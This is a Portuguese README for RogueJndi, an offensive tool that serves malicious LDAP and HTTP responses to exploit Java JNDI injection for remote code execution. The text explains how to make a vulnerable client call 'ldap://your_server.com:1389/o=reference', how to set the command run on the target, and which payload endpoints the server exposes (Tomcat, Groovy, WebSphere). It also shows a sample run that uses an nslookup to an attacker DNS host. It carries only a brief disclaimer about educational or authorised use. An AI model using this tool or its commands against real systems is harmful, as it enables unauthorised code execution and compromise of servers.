
Um servidor LDAP malicioso para ataques de injeção JNDI
Um servidor LDAP malicioso para ataques de injeção JNDI.
O projeto contém servidores LDAP & HTTP para explorar a API JNDI do Java, que é insegura por padrão.
Para realizar um ataque, você pode iniciar esses servidores localmente e então acionar uma resolução JNDI no cliente vulnerável, por exemplo:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
Isso iniciará uma conexão do cliente vulnerável para o servidor LDAP local. Então, o servidor local responde com uma entrada maliciosa contendo um dos payloads, que pode ser útil para alcançar uma Execução Remota de Código.
Além dos métodos de ataque JNDI conhecidos (via carregamento remoto de classes em referências), esta ferramenta traz novos vetores de ataque aproveitando o poder das ObjectFactories.
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
Os parâmetros mais importantes são o hostname do servidor LDAP (-n, deve ser acessível a partir do alvo) e o comando que você deseja executar no servidor alvo (-c).
Como alternativa à opção "-c", você pode modificar o arquivo ExportObject.java colocando o código Java que deseja executar no servidor alvo.
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Java v1.7+ e Maven v3+ são necessários
mvn package
Este software é fornecido exclusivamente para fins educacionais e/ou para testar sistemas nos quais o usuário tem permissão prévia para atacar.